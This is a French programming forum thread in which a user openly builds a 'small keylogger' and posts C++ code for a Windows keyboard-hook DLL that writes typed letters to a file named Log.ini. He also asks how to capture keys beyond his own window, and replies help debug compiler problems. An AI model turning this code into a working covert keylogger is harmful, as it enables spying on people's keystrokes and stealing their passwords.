Hook clavier

Résolu
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007 - 26 févr. 2007 à 01:12
shuty Messages postés 47 Date d'inscription jeudi 20 avril 2006 Statut Membre Dernière intervention 6 février 2015 - 10 nov. 2007 à 22:49
Salut à tous, j'essaye de faire un petit keylogger, mais ce code ne marche pas :

#include <windows.h>

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        switch(wParam)
        {
            case 'A' : MessageBox(0, "A", 0,0); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

// a sample exported function
void DLLEXPORT SomeFunction(const LPCSTR sometext)
{
    MessageBox(0, sometext, "DLL Message", MB_OK | MB_ICONINFORMATION);
}

int DLLEXPORT InitHook()
{
    if(!Hook)
    Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    if(Hook)
    UnhookWindowsHookEx(Hook);
}

je ne comprend pas pourquoi, merci de bien vouloir m'aider .

10 réponses

racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
26 févr. 2007 à 16:45
Salut,
Certains outils comme Dev C++ génèrent des DLLs de hook non fontionnel. Tu peux regarder l'un de mes codes sources avec hook sans DLL:
Hook Sans DLL
Volume OSD
3
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
26 févr. 2007 à 17:23
Ton code parait correct. Tu utilises quel outil? Si c'est Dev C++, c'est normal car la DLL de hook est mal générée. Dans ce cas, on ne peut rien faire puisque c'est un problème interne de Dev C++.
3
cs_Joky Messages postés 1787 Date d'inscription lundi 22 novembre 2004 Statut Membre Dernière intervention 31 janvier 2009 2
26 févr. 2007 à 12:10
Bé ça c'est une DLL
C'est pas un executable à proprememt parler...
#include
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 14:12
Salut et merci d'avoir répondu, je le sais ça que c'est une dll
 J'apelle la fonction InitHook à partir de mon client mais ça ne marche pas.
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 16:54
Salut, je viens de voir ta source qui est très bien ( et que j'utiliserai si ce code ne marche pas ) mais pour l'instant j'aimerai savoir pourquoi ce code ne marche pas ?, je ne comprend vraiment pas .
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 17:26
Problème réglé, ce code ne marche pas avec code block mais sous VC++ il marche très bien .

Merci à vous.
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
26 févr. 2007 à 18:41
Re à tous, j'ai un autre problème dans ce code :

#include <windows.h>
#include <string>
#include
#include <fstream>

using namespace std;

#define DLLEXPORT  __declspec (dllexport)

HHOOK Hook;
HINSTANCE hInst;

ofstream Fichier;

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
    if(fdwReason == DLL_PROCESS_ATTACH)
        hInst = hinstDLL;
    return true;
}

void WriteToFile(string Lettre)
{
    Fichier << Lettre;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode >= 0)
    {
        if ( ((DWORD)lParam & 1<<30) != FALSE )
        {
            return CallNextHookEx(Hook, nCode, wParam, lParam);
        }

        switch(wParam)
        {
            case 'A' : WriteToFile("a"); break;
            case 'B' : WriteToFile("b"); break;
            case 'C' : WriteToFile("c"); break;
            case 'D' : WriteToFile("d"); break;
            case 'E' : WriteToFile("e"); break;
            case 'F' : WriteToFile("f"); break;
            case 'G' : WriteToFile("g"); break;
            case 'H' : WriteToFile("h"); break;
            case 'I' : WriteToFile("i"); break;
            case 'J' : WriteToFile("j"); break;
            case 'K' : WriteToFile("k"); break;
            case 'L' : WriteToFile("l"); break;
            case 'M' : WriteToFile("m"); break;
            case 'N' : WriteToFile("n"); break;
            case 'O' : WriteToFile("o"); break;
            case 'P' : WriteToFile("p"); break;
            case 'Q' : WriteToFile("q"); break;
            case 'R' : WriteToFile("r"); break;
            case 'S' : WriteToFile("s"); break;
            case 'T' : WriteToFile("t"); break;
            case 'U' : WriteToFile("u"); break;
            case 'V' : WriteToFile("v"); break;
            case 'W' : WriteToFile("w"); break;
            case 'X' : WriteToFile("x"); break;
            case 'Y' : WriteToFile("y"); break;
            case 'Z' : WriteToFile("z"); break;

            case VK_SPACE : WriteToFile(" "); break;
        }
    }

    return CallNextHookEx(Hook, nCode, wParam, lParam);
}

int DLLEXPORT InitHook()
{
    Fichier.open ("Log.ini", ios::out);
    if(!Hook)
        Hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hInst, 0);
    return (int) Hook;
}

void DLLEXPORT EndHook()
{
    Fichier.close();
    if(Hook)
        UnhookWindowsHookEx(Hook);
}

Pourquoi ce code marche-il que lorsque ma fenêtre est au premier plan ?
N'y aurait-il aucun moyen pour empecher cela

Merci de votre aide.
0
cs_cotmar Messages postés 71 Date d'inscription vendredi 13 septembre 2002 Statut Membre Dernière intervention 9 mars 2009
8 mars 2007 à 15:40
Salut,

Tu pourrais expliquer ce qu'est exactement un keylogger ? A ce qu'il me semble tu as l'air de réaliser un système qui permet d'intercepter les caratères tappés au clavier, de manière à transformer toutes les lettre tappées en majuscule en eur équivalent minuscules ?

A bientôt.

Cotmar.
0
krokro6 Messages postés 66 Date d'inscription jeudi 8 avril 2004 Statut Membre Dernière intervention 28 juin 2007
8 mars 2007 à 19:35
Salut, un keylogger est un programme qui intercepte la touche du clavié qui est apuiyée et qui écrit cette touche dans un fichier.

Enfin pour moi c'est ça, après pour les autres ça peut être autre chose ^^.
0
shuty Messages postés 47 Date d'inscription jeudi 20 avril 2006 Statut Membre Dernière intervention 6 février 2015
10 nov. 2007 à 22:49
Bonjour, je me suis lancé dans la programmation orienté objet (c++) et j'aimerai savoir si vous aviez un tutoriel expliquant l'utilisation de A a Z des hooks.

Cordialement,
 
0
Rejoignez-nous